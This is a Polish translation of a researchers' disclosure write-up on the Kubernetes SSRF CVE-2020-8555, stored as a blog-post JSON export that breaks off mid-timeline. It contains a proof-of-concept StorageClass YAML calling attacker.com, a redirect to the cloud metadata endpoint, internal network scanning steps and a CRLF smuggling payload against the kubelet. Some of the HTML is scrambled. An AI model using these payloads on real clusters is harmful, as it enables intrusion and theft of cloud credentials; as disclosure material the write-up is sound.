{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Przyp. t\u0142um.<\/b>: autorzy tego artyku\u0142u szczeg\u00f3\u0142owo opisuj\u0105, jak uda\u0142o im si\u0119 odkry\u0107 luk\u0119 <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> w Kubernetes. Chocia\u017c pocz\u0105tkowo nie wydawa\u0142a si\u0119 zbyt niebezpieczna, w po\u0142\u0105czeniu z innymi czynnikami jej krytyczno\u015b\u0107 w niekt\u00f3rych dostawcach chmurowych okaza\u0142a si\u0119 maksymalna. Specjali\u015bci, kt\u00f3rzy przeprowadzili t\u0119 prac\u0119, zostali hojnym wynagrodzeniem przez kilka organizacji.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kim jeste\u015bmy<\/h2>\n<p>\nJeste\u015bmy dwoma francuskimi badaczami w dziedzinie bezpiecze\u0144stwa, kt\u00f3rzy wsp\u00f3lnie odkryli luk\u0119 w Kubernetes. Nazywamy si\u0119 Brice Augras i Christophe Hauquiert, ale na wielu platformach Bug Bounty jeste\u015bmy znani jako Reeverzax i Hach odpowiednio:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architekt Kubernetes w Nokii.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Co si\u0119 sta\u0142o?<\/h2>\n<p>\nTen artyku\u0142 to nasz spos\u00f3b na opowiedzenie, jak zwyk\u0142y projekt badawczy niespodziewanie przekszta\u0142ci\u0142 si\u0119 w najbardziej fascynuj\u0105c\u0105 przygod\u0119 w \u017cyciu \u0142owc\u00f3w b\u0142\u0119d\u00f3w (przynajmniej jak na razie).<\/p>\n<p>Jak zapewne wiesz, \u0142owcy b\u0142\u0119d\u00f3w maj\u0105 kilka charakterystycznych cech:<\/p>\n<ul>\n<li> \u017cyj\u0105 na pizzach i piwie;<\/li>\n<li> pracuj\u0105, gdy wszyscy inni \u015bpi\u0105.<\/li>\n<\/ul>\n<p>\nNie jeste\u015bmy wyj\u0105tkiem od tych regu\u0142: zazwyczaj spotykamy si\u0119 w weekendy i sp\u0119dzamy bezsenne hakerskie noce. Ale jedna z takich nocy zako\u0144czy\u0142a si\u0119 w do\u015b\u0107 niezwyk\u0142y spos\u00f3b.<\/p>\n<p>Pierwotnie mieli\u015bmy si\u0119 spotka\u0107, aby om\u00f3wi\u0107 udzia\u0142 w <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> nast\u0119pnego dnia. Podczas rozmowy o bezpiecze\u0144stwie Kubernetes w zarz\u0105dzanym \u015brodowisku serwisowym przypomnieli\u015bmy sobie o starej idei SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) i postanowili\u015bmy spr\u00f3bowa\u0107 wykorzysta\u0107 j\u0105 jako scenariusz ataku.<\/p>\n<p>O 11 wieczorem przyst\u0105pili\u015bmy do bada\u0144, a spa\u0107 poszli\u015bmy wczesnym rankiem, bardzo zadowoleni z wynik\u00f3w. To w\u0142a\u015bnie dzi\u0119ki tym badaniom natkn\u0119li\u015bmy si\u0119 na program MSRC Bug Bounty i wymy\u015blili\u015bmy exploit z eskalacj\u0105 uprawnie\u0144.<\/p>\n<p>Min\u0119\u0142o kilka tygodni\/miesi\u0119cy, a nasz nieoczekiwany wynik pozwoli\u0142 uzyska\u0107 jedn\u0105 z najwy\u017cszych nagr\u00f3d w historii Azure Cloud Bug Bounty \u2014 opr\u00f3cz tej, kt\u00f3r\u0105 otrzymali\u015bmy od Kubernetes!<\/p>\n<p>Na podstawie naszego projektu badawczego komitet Kubernetes Product Security Committee opublikowa\u0142 <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Teraz chcieliby\u015bmy jak najszerzej rozpowszechni\u0107 informacje o znalezionej luce. Mamy nadziej\u0119, \u017ce ocenisz nasze odkrycie i podzielisz si\u0119 szczeg\u00f3\u0142ami technicznymi z innymi cz\u0142onkami spo\u0142eczno\u015bci infosec!<\/p>\n<p>A wi\u0119c oto nasza historia\u2026<\/p>\n<h2>Kontekst<\/h2>\n<p>\nAby maksymalnie w pe\u0142ni zrozumie\u0107 sens tego, co si\u0119 wydarzy\u0142o, najpierw przyjrzyjmy si\u0119, jak Kubernetes dzia\u0142a w zarz\u0105dzanym \u015brodowisku chmurowym.<\/p>\n<p>Kiedy tworzysz instancj\u0119 klastra Kubernetes w takim \u015brodowisku, za dzia\u0142anie warstwy kontrolera zazwyczaj odpowiada dostawca us\u0142ug chmurowych:<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Warstwa kontrolera znajduje si\u0119 w obr\u0119bie dostawcy chmurowego, podczas gdy w\u0119z\u0142y Kubernetes s\u0105 w obr\u0119bie klienta.<\/i><\/p>\n<p>Mechanizm dynamicznego przydzielania wolumin\u00f3w wykorzystuje mechanizm ich dynamicznego dostarczania z zewn\u0119trznego backendu storage oraz mapowania z PVC (persistent volume claim, czyli \u017c\u0105daniem woluminu).<\/p>\n<p>W ten spos\u00f3b, po utworzeniu PVC i powi\u0105zaniu go z StorageClass w klastrze K8s, dalsze dzia\u0142ania zwi\u0105zane z udost\u0119pnieniem wolumenu przejmuje kube\/cloud controller manager (jego dok\u0142adna nazwa zale\u017cy od wersji). <i>(<b>Przyp. t\u0142um.<\/b>: Wi\u0119cej na temat CCM na przyk\u0142adzie jego wdro\u017cenia dla jednego z dostawc\u00f3w chmurowych ju\u017c opisali\u015bmy. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">tutaj<\/a><\/noindex>.)<\/i><\/p>\n<p>Istnieje kilka rodzaj\u00f3w provisioner\u00f3w wspieranych przez Kubernetes: wi\u0119kszo\u015b\u0107 z nich jest wbudowana w <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">j\u0105dro orkiestratora,<\/a><\/noindex>, a inne s\u0105 zarz\u0105dzane przez dodatkowe provisionery, kt\u00f3re s\u0105 umieszczane w podach w klastrze.<\/p>\n<p>W naszym badaniu skoncentrowali\u015bmy si\u0119 na wewn\u0119trznym mechanizmie przydzielania wolumin\u00f3w, kt\u00f3ry pokazano poni\u017cej:<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamiczne udost\u0119pnianie wolumen\u00f3w przy u\u017cyciu wbudowanego provisionera Kubernetes<\/i><\/p>\n<p>Kr\u00f3tko m\u00f3wi\u0105c, gdy Kubernetes jest uruchomiony w zarz\u0105dzanym \u015brodowisku, za prac\u0119 controller managera odpowiada dostawca us\u0142ug chmurowych, ale \u017c\u0105danie utworzenia wolumenu (numer 3 na powy\u017cszym schemacie) opuszcza granice wewn\u0119trznej sieci dostawcy chmury. I to w\u0142a\u015bnie w tym momencie sytuacja staje si\u0119 naprawd\u0119 interesuj\u0105ca!<\/p>\n<h2>Scenariusz w\u0142amania.<\/h2>\n<p>\nW tej sekcji opowiemy, jak wykorzystali\u015bmy wspomniany powy\u017cej proces roboczy, aby uzyska\u0107 dost\u0119p do wewn\u0119trznych zasob\u00f3w dostawcy us\u0142ug chmurowych. Ponadto poka\u017cemy, jak mo\u017cna wykona\u0107 okre\u015blone dzia\u0142ania \u2014 na przyk\u0142ad uzyska\u0107 wewn\u0119trzne dane logowania lub przeprowadzi\u0107 eskalacj\u0119 uprawnie\u0144.<\/p>\n<p>Jedna prosta manipulacja (w tym przypadku to Service Side Request Forgery) pomog\u0142a wyj\u015b\u0107 poza granice \u015brodowiska klienta w klastrach r\u00f3\u017cnych dostawc\u00f3w zarz\u0105dzanego K8s.<\/p>\n<p>W naszych badaniach skoncentrowali\u015bmy si\u0119 na provisionerze GlusterFS. Pomimo \u017ce dalsza sekwencja dzia\u0142a\u0144 jest opisana w takim kontek\u015bcie, ta sama podatno\u015b\u0107 dotyczy Quobyte, StorageOS i ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Nadu\u017cycie mechanizmu dynamicznego przydzielania wolumin\u00f3w<\/i><\/p>\n<p>Podczas analizy klasy magazyn\u00f3w <b>GlusterFS<\/b> w \u017ar\u00f3d\u0142ach klienta w Golang zauwa\u017cyli\u015bmy <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">, \u017ce przy pierwszym \u017c\u0105daniu HTTP (3), wys\u0142anym podczas tworzenia woluminu, na ko\u0144cu u\u017cytkowego URL dodawany jest parametr<\/a><\/noindex>resturl <code>dodawany<\/code> . Aby pozby\u0107 si\u0119 tej dodatkowej \u015bcie\u017cki, postanowili\u015bmy doda\u0107 <code>\/volumes<\/code>.<\/p>\n<p>. Oto pierwsza konfiguracja YAML, kt\u00f3r\u0105 wykorzystali\u015bmy do przetestowania istnienia luki \u201ep\u00f3\u0142\u015blepej\u201d SSRF <code>#<\/code> do parametru <code>dodawany<\/code>(wi\u0119cej o p\u00f3\u0142\u015blepym lub half-blind SSRF mo\u017cna przeczyta\u0107 na przyk\u0142ad, <i>apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">tutaj<\/a><\/noindex> \u2014 przyp. t\u0142um.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\n. Zwykle dostawcy chmurowi (Azure, Google, AWS itd.) pozwalaj\u0105 uzyska\u0107 dane logowania do ich wykorzystania w tym narz\u0119dziu. <b>kubectl<\/b>Dzi\u0119ki temu uda\u0142o si\u0119 zastosowa\u0107 nasz \u201especjalny\u201d plik. Kube-controller-manager wykona\u0142 wynikowe \u017c\u0105danie HTTP:<\/p>\n<p>kubectl create -f sc-poc.yaml<\/p>\n<pre><code class=\"bash\">Odpowied\u017a z punktu widzenia atakuj\u0105cego<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Wkr\u00f3tce po tym uda\u0142o nam si\u0119 r\u00f3wnie\u017c uzyska\u0107 odpowied\u017a HTTP od docelowego serwera \u2014 za pomoc\u0105 polece\u0144<\/i><\/p>\n<p>describe pvc <code>get events<\/code> lub <code>w kubectl. I rzeczywi\u015bcie: ten sterownik Kubernetes domy\u015blnie jest zbyt gadatliwy w swoich ostrze\u017ceniach\/komunikatach o b\u0142\u0119dach\u2026<\/code> Oto przyk\u0142ad z linkiem do<\/p>\n<p>, ustawionym jako parametr <code>https:\/\/www.google.fr<\/code>kubectl describe pvc poc-ssrf\n# lub mo\u017cesz skorzysta\u0107 z kubectl get events <code>dodawany<\/code>:<\/p>\n<pre><code class=\"bash\">W ramach takiego podej\u015bcia byli\u015bmy ograniczeni do \u017c\u0105da\u0144 typu<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHTTP POST <b>i nie mogli\u015bmy uzyska\u0107 zawarto\u015bci cia\u0142a odpowiedzi, je\u015bli kod zwracany by\u0142<\/b> . Dlatego postanowili\u015bmy przeprowadzi\u0107 dodatkowe badania i rozszerzyli\u015bmy ten scenariusz ataku o nowe podej\u015bcia. <b>201<\/b>Ewolucja naszych bada\u0144<\/p>\n<h2>Zaawansowany scenariusz \u21161: wykorzystanie przekierowania 302 z zewn\u0119trznego serwera do zmiany metody HTTP, aby uzyska\u0107 bardziej elastyczny spos\u00f3b zbierania danych wewn\u0119trznych.<\/h2>\n<p><\/p>\n<ul>\n<li> Zaawansowany scenariusz \u21162: automatyzacja skanowania LAN i odkrywania zasob\u00f3w wewn\u0119trznych.<\/li>\n<li> Zaawansowany scenariusz nr 2: automatyzacja skanowania LAN i odkrywanie zasob\u00f3w wewn\u0119trznych.<\/li>\n<li> Zaawansowany scenariusz nr 3: wykorzystanie HTTP CRLF + smuggling (\u201eprzemyt\u201d \u017c\u0105da\u0144) do tworzenia dostosowanych \u017c\u0105da\u0144 HTTP i uzyskiwania danych wyci\u0105gni\u0119tych z log\u00f3w kube-controllera.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specyfikacje techniczne<\/h3>\n<p><\/p>\n<ul>\n<li> W badaniach u\u017cyto Azure Kubernetes Service (AKS) z wersj\u0105 Kubernetes 1.12 w regionie P\u00f3\u0142nocna Europa.<\/li>\n<li> Opisane powy\u017cej scenariusze by\u0142y realizowane na najnowszych wydaniach Kubernetes, z wyj\u0105tkiem scenariusza trzeciego, poniewa\u017c wymaga\u0142 on Kubernetes skompilowanego z Golang w wersji \u2264 1.12.<\/li>\n<li> Serwer atakuj\u0105cego \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Zaawansowany scenariusz nr 1: przekierowanie HTTP zapytania POST na GET i uzyskiwanie poufnych danych<\/h3>\n<p>\nPocz\u0105tkowy spos\u00f3b zosta\u0142 poprawiony przez konfiguracj\u0119 serwera napastnika do zwracania <b>302 HTTP Retcode<\/b>, aby konwertowa\u0107 zapytanie POST na GET (krok 4 na schemacie):<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPierwsze zapytanie (3), wychodz\u0105ce od klienta <b>GlusterFS<\/b> (Controller Manager), ma typ POST. Wykonuj\u0105c nast\u0119puj\u0105ce kroki, uda\u0142o nam si\u0119 zamieni\u0107 je na GET:<\/p>\n<ul>\n<li> Jako parametr <code>dodawany<\/code> w StorageClass podaje si\u0119 <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> odpowiada kodem statusu 302 HTTP z nast\u0119puj\u0105cym nag\u0142\u00f3wkiem Location: <code>http:\/\/169.254.169.254<\/code>. Mo\u017ce to by\u0107 ka\u017cdy inny wewn\u0119trzny zas\u00f3b \u2014 w tym przypadku adres URL przekierowania jest u\u017cywany wy\u0142\u0105cznie jako przyk\u0142ad.<\/li>\n<li> Domy\u015blnie <b>biblioteka net\/http<\/b> Golang przekierowuje \u017c\u0105danie i konwertuje POST na GET z kodem statusu 302, w wyniku czego do docelowego zasobu wysy\u0142ane jest \u017c\u0105danie HTTP GET.<\/li>\n<\/ul>\n<p>\nAby przeczyta\u0107 cia\u0142o odpowiedzi HTTP, nale\u017cy wykona\u0107 <code>describe<\/code> obiektu PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nOto przyk\u0142ad odpowiedzi HTTP w formacie JSON, kt\u00f3r\u0105 uda\u0142o nam si\u0119 uzyska\u0107:<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nMo\u017cliwo\u015bci znalezionej luki by\u0142y w\u00f3wczas ograniczone z powodu nast\u0119puj\u0105cych kwestii:<\/p>\n<ul>\n<li> Niemo\u017cno\u015b\u0107 wstawienia nag\u0142\u00f3wk\u00f3w HTTP do wychodz\u0105cego zapytania.<\/li>\n<li> Niemo\u017cno\u015b\u0107 wykonania zapytania POST z parametrami w ciele (tak wygodnie jest \u017c\u0105da\u0107 warto\u015bci klucza od instancji etcd, dzia\u0142aj\u0105cej na <b>2379<\/b> porcie, je\u015bli u\u017cywa si\u0119 niezaszyfrowanego HTTP).<\/li>\n<li> Niemo\u017cno\u015b\u0107 uzyskania zawarto\u015bci cia\u0142a odpowiedzi, gdy kod statusu wynosi\u0142 200, a odpowied\u017a nie mia\u0142a typu tre\u015bci JSON.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Zaawansowany scenariusz nr 2: skanowanie lokalnej sieci<\/h3>\n<p>\nTa metoda half-blind SSRF by\u0142a nast\u0119pnie u\u017cywana do skanowania wewn\u0119trznej sieci dostawcy us\u0142ug chmurowych i badania r\u00f3\u017cnych nas\u0142uchuj\u0105cych us\u0142ug (instancja Metadata, Kubelet, etcd itp.) na podstawie odpowiedzi <b>kube controllera<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNajpierw okre\u015blono standardowe nas\u0142uchuj\u0105ce porty komponent\u00f3w Kubernetes (8443, 10250, 10251 itd.), a nast\u0119pnie trzeba by\u0142o zautomatyzowa\u0107 proces skanowania.<\/p>\n<p>Widz\u0105c, \u017ce ten spos\u00f3b skanowania zasob\u00f3w jest bardzo specyficzny i niekompatybilny z klasycznymi skanerami i narz\u0119dziami SSRF, postanowili\u015bmy stworzy\u0107 w\u0142asne workery w skrypcie bash, kt\u00f3re automatyzuj\u0105 ca\u0142y proces.<\/p>\n<p>Na przyk\u0142ad, aby szybciej zeskanowa\u0107 zakres 172.16.0.0\/12 wewn\u0119trznej sieci, r\u00f3wnolegle uruchomiono 15 worker\u00f3w. Powy\u017cszy zakres IP zosta\u0142 wybrany wy\u0142\u0105cznie jako przyk\u0142ad i mo\u017ce zosta\u0107 zmieniony na zakres IP konkretnego dostawcy us\u0142ug.<\/p>\n<p>Aby zeskanowa\u0107 jeden adres IP i jeden port, nale\u017cy wykona\u0107 nast\u0119puj\u0105ce kroki:<\/p>\n<ul>\n<li> usuni\u0119cie wcze\u015bniej zweryfikowanej StorageClass;<\/li>\n<li> usuni\u0119cie wcze\u015bniej zweryfikowanego Persistent Volume Claim;<\/li>\n<li> zmiana warto\u015bci IP i Port w <code>sc.yaml<\/code>;<\/li>\n<li> utworzenie StorageClass z nowym IP i portem;<\/li>\n<li> utworzenie nowego PVC;<\/li>\n<li> wyci\u0105gn\u0105\u0107 wyniki skanowania za pomoc\u0105 describe'a dla PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Zaawansowany scenariusz nr 3: iniekcja CRLF + smuggling HTTP w 'starych' wersjach klastra Kubernetes<\/h3>\n<p>\nJe\u015bli dodatkowo dostawca oferowa\u0142 klientom stare wersje klastra K8s <b>i<\/b> dawa\u0142 im dost\u0119p do log\u00f3w kube-controller-manager'a, efekt stawa\u0142 si\u0119 jeszcze bardziej znacz\u0105cy.<\/p>\n<p>Atakuj\u0105cemu zdecydowanie \u0142atwiej jest modyfikowa\u0107 wed\u0142ug w\u0142asnego uznania \u017c\u0105dania HTTP, kt\u00f3re s\u0105 przeznaczone do uzyskania pe\u0142nej odpowiedzi HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAby zrealizowa\u0107 ostatni scenariusz, musia\u0142y by\u0107 spe\u0142nione nast\u0119puj\u0105ce warunki:<\/p>\n<ul>\n<li> U\u017cytkownik musi mie\u0107 dost\u0119p do log\u00f3w kube-controller-manager (jak np. w Azure LogInsights).<\/li>\n<li> Klast Kubernetes musi korzysta\u0107 z wersji Golang poni\u017cej 1.12.<\/li>\n<\/ul>\n<p>\nUruchomili\u015bmy lokalne \u015brodowisko, kt\u00f3re imituje wymian\u0119 danych mi\u0119dzy klientem Go GlusterFS a fa\u0142szywym serwerem docelowym (na razie powstrzymamy si\u0119 od publikacji PoC).<\/p>\n<p>Zosta\u0142a odkryta <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">luka<\/a><\/noindex>, dotycz\u0105ca wersji Golang poni\u017cej 1.12, kt\u00f3ra umo\u017cliwia\u0142a hakerom przeprowadzanie atak\u00f3w typu HTTP smuggling\/CRLF.<\/p>\n<p>\u0141\u0105cz\u0105c opisan\u0105 wcze\u015bniej half-blind SSRF <b>razem<\/b> , mogli\u015bmy wysy\u0142a\u0107 \u017c\u0105dania wed\u0142ug w\u0142asnego uznania, w tym zmienia\u0107 nag\u0142\u00f3wki, metod\u0119 HTTP, parametry i dane, kt\u00f3re kube-controller-manager nast\u0119pnie przetwarza\u0142.<\/p>\n<p>Oto przyk\u0142ad dzia\u0142aj\u0105cej 'zach\u0119ty' w parametrach <code>dodawany<\/code> StorageClass, kt\u00f3ra realizuje podobny scenariusz ataku:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1\r\nConnection: keep-\nalive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET \/pods? HTTP\/1.1\r\nHost: 172.31.X.1:10255<\/code><\/pre>\n<p>\nW wyniku tego pojawia si\u0119 b\u0142\u0105d <b>unsolicited response<\/b>, wiadomo\u015b\u0107, kt\u00f3ra jest rejestrowana w dziennikach kontrolera. Dzi\u0119ki domy\u015blnie w\u0142\u0105czonej \u201erozmowno\u015bci\u201d zawarto\u015b\u0107 odpowiedzi HTTP jest r\u00f3wnie\u017c zapisywana tam.<\/p>\n<p><img decoding=\"async\" alt=\"Kiedy sprawa nie dotyczy tylko luki w Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nTo by\u0142a nasza najbardziej skuteczna \u201ez\u0142ot\u00f3wka\u201d w ramach proof of concept.<\/p>\n<p>Stosuj\u0105c to podej\u015bcie, uda\u0142o nam si\u0119 przeprowadzi\u0107 niekt\u00f3re z nast\u0119puj\u0105cych atak\u00f3w w klastrach r\u00f3\u017cnych dostawc\u00f3w zarz\u0105dzanego k8s: eskalacja uprawnie\u0144 z uzyskaniem danych logowania na instancjach metadata, DoS mastera za pomoc\u0105 (niezaszyfrowanych) zapyta\u0144 HTTP na instancjach mastera etcd itd.<\/p>\n<h2>Skutki<\/h2>\n<p>\nW oficjalnym o\u015bwiadczeniu Kubernetes w sprawie odkrytej przez nas podatno\u015bci SSRF przypisano jej ocen\u0119 <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Je\u015bli rozwa\u017cymy tylko podatno\u015b\u0107 zwi\u0105zan\u0105 z perymetrem Kubernetes, wektor integralno\u015bci <i>(integrity vector)<\/i> w niej klasyfikuje si\u0119 jako <b>Brak<\/b>.<\/p>\n<p>Jednak ocena potencjalnych konsekwencji w kontek\u015bcie zarz\u0105dzanego \u015brodowiska serwisowego (i to by\u0142a najciekawsza cz\u0119\u015b\u0107 naszego badania!) sk\u0142oni\u0142a nas do przekwalifikowania podatno\u015bci na ocen\u0119 <b>Krytyczna CVSS10\/10<\/b> dla wielu dystrybutor\u00f3w.<\/p>\n<p>Poni\u017cej znajduj\u0105 si\u0119 dodatkowe informacje, kt\u00f3re pomog\u0105 zrozumie\u0107, na czym si\u0119 opierali\u015bmy przy ocenie potencjalnych konsekwencji w \u015brodowiskach chmurowych:<\/p>\n<h3>Integralno\u015b\u0107<\/h3>\n<p><\/p>\n<ul>\n<li> Zdalne wykonywanie polece\u0144 za pomoc\u0105 uzyskanych wewn\u0119trznych danych logowania.<\/li>\n<li> Reprodukcja opisanego powy\u017cej scenariusza metod\u0105 IDOR (Insecure Direct Object Reference, czyli niebezpieczne bezpo\u015brednie odniesienia do obiekt\u00f3w) z innymi zasobami odkrytymi w lokalnej sieci.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Prywatno\u015b\u0107<\/h3>\n<p><\/p>\n<ul>\n<li> Atak typu <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> dzi\u0119ki kradzie\u017cy danych logowania do chmury (np. metadata API).<\/li>\n<li> Zbieranie informacji za pomoc\u0105 skanowania lokalnej sieci (okre\u015blenie wersji SSH, wersji serwera HTTP, \u2026).<\/li>\n<li> Zbieranie informacji o instancjach i infrastrukturze poprzez zapytania do wewn\u0119trznych API, takich jak metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Kradzie\u017c danych klient\u00f3w za pomoc\u0105 danych logowania do chmury.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Dost\u0119pno\u015b\u0107<\/h3>\n<p>\nWszystkie scenariusze wykorzystania exploit\u00f3w zwi\u0105zane z wektorami ataku na <b>integrity (integralno\u015b\u0107)<\/b>, mog\u0105 by\u0107 wykorzystane do dzia\u0142a\u0144 destrukcyjnych i prowadzi\u0107 do niedost\u0119pno\u015bci instancji mastera z perymetru klienta (lub innego).<\/p>\n<p>Poniewa\u017c znajdowali\u015bmy si\u0119 w zarz\u0105dzanym \u015brodowisku K8s i oceniali\u015bmy wp\u0142yw na integralno\u015b\u0107, mo\u017cna sobie wyobrazi\u0107 wiele scenariuszy, kt\u00f3re mog\u0105 wp\u0142yn\u0105\u0107 na dost\u0119pno\u015b\u0107. Jako dodatkowe przyk\u0142ady mo\u017cemy poda\u0107 uszkodzenie bazy danych etcd lub wykonanie krytycznego wywo\u0142ania do API Kubernetes.<\/p>\n<h2>Chronologia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 grudnia 2019 r.: wys\u0142anie zg\u0142oszenia dotycz\u0105cego odkrytej podatno\u015bci do MSRC Bug Bounty.<\/li>\n<li> 3 stycznia 2020 r.: osoba trzecia poinformowa\u0142a programist\u00f3w Kubernetes, \u017ce pracujemy nad problemem zwi\u0105zanym z bezpiecze\u0144stwem. I poprosi\u0142a ich o traktowanie SSRF jako podatno\u015bci wewn\u0119trznej (in-core). Nast\u0119pnie przedstawili\u015bmy og\u00f3lny raport z technicznymi szczeg\u00f3\u0142ami \u017ar\u00f3d\u0142a problemu.<\/li>\n<li> 15 stycznia 2020 